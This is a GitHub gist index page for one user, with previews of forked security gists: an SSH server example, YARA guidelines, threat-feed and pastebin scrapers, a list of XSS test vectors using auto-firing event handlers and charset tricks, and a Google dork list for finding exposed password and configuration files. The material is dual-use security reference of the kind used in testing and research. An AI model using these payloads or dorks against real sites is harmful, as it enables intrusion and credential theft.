Skip to content

Instantly share code, notes, and snippets.

View reanimat0r's full-sized avatar

Bart Black reanimat0r

29 followers · 52 following
View GitHub Profile
@reanimat0r
reanimat0r / sshd.go
Created July 10, 2019 03:20 — forked from jpillora/sshd.go
Go SSH server complete example - Read more here https://blog.gopheracademy.com/go-and-ssh/
// A small SSH daemon providing bash sessions
//
// Server:
// cd my/new/dir/
// #generate server keypair
// ssh-keygen -t rsa
// go get -v .
// go run sshd.go
//
// Client:
@reanimat0r
reanimat0r / html2secvector.list
Created July 10, 2019 03:18 — forked from mylamour/html2secvector.list
>>> vectors()
<div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source
@reanimat0r
reanimat0r / yara_performance_guidelines.md
Created July 10, 2019 03:15 — forked from Neo23x0/yara_performance_guidelines.md
YARA Performance Guidelines

YARA Performance Guidelines

When creating your rules for YARA keep in mind the following guidelines in order to get the best performance from them. This guide is based on ideas and recommendations by Victor M. Alvarez and WXS.

  • Revision 1.2.1, February 2019, applies to all YARA versions higher than 3.3

Global Rules

Global rules are evaluated first. Only if they are satisfied non-global rules are evaluated. This may be useful if all samples exhibit the same characteristics. Use them combined with the "private" statement to suppress a match notification on the global rules.

@reanimat0r
reanimat0r / GoogleHackMasterList.txt
Created July 10, 2019 03:13 — forked from mylamour/GoogleHackMasterList.txt
The definitive super list for "Google Hacking".
admin account info" filetype:log
!Host=*.* intext:enc_UserPassword=* ext:pcf
"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd
"AutoCreate=TRUE password=*"
"http://*:*@www&#8221; domainname
"index of/" "ws_ftp.ini" "parent directory"
"liveice configuration file" ext:cfg -site:sourceforge.net
"parent directory" +proftpdpasswd
Duclassified" -site:duware.com "DUware All Rights reserved"
duclassmate" -site:duware.com
@reanimat0r
reanimat0r / start_fuzzing.md
Created July 10, 2019 03:07 — forked from mylamour/start_fuzzing.md
#Fuzzing#
@reanimat0r
reanimat0r / download.py
Created July 10, 2019 03:05 — forked from mylamour/download.py
[threatfeeds download] #python #threat feeds.io
import re, os, sys
import json
import logging
import hashlib
import requests
from functools import partial
from bs4 import BeautifulSoup
from concurrent.futures import ProcessPoolExecutor
from multiprocessing import Pool, TimeoutError
from urllib.parse import urlparse
@reanimat0r
reanimat0r / pastebinhunter.py
Created July 10, 2019 02:57 — forked from mylamour/pastebinhunter.py
Get Data from Pastebin use api
from gevent import monkey
monkey.patch_all()
from SMLoki import SMLoki
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from uuid import uuid1
import signal as signal_module
import requests
@reanimat0r
reanimat0r / html-email.html
Created July 10, 2019 02:06
HTML email boilerplate
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title></title>
<style type="text/css">
@reanimat0r
reanimat0r / clearRAM.sh
Created July 10, 2019 01:48 — forked from pklaus/clearRAM.sh
A Script to Clear Cached RAM on Linux
#!/bin/bash
## Bash Script to clear cached memory on (Ubuntu/Debian) Linux
## By Philipp Klaus
## see <http://blog.philippklaus.de/2011/02/clear-cached-memory-on-ubuntu/>
if [ "$(whoami)" != "root" ]
then
echo "You have to run this script as Superuser!"
exit 1
fi
@reanimat0r
reanimat0r / penTools.sh
Created July 10, 2019 01:46 — forked from jonathanwork/penTools.sh
this is creates a bunch of pentools for fedora
#!/bin/bash
#credits to https://github.com/madmantm/fedora-pentest-tools thanks :D
echo "[*]preliminary questions regarding user-rights"
clear
read -p "[*]Please enter your username, this will help me fix permissions:" myname
clear
echo "[*]what would be your prefered directory name for the tools? no slashes pls"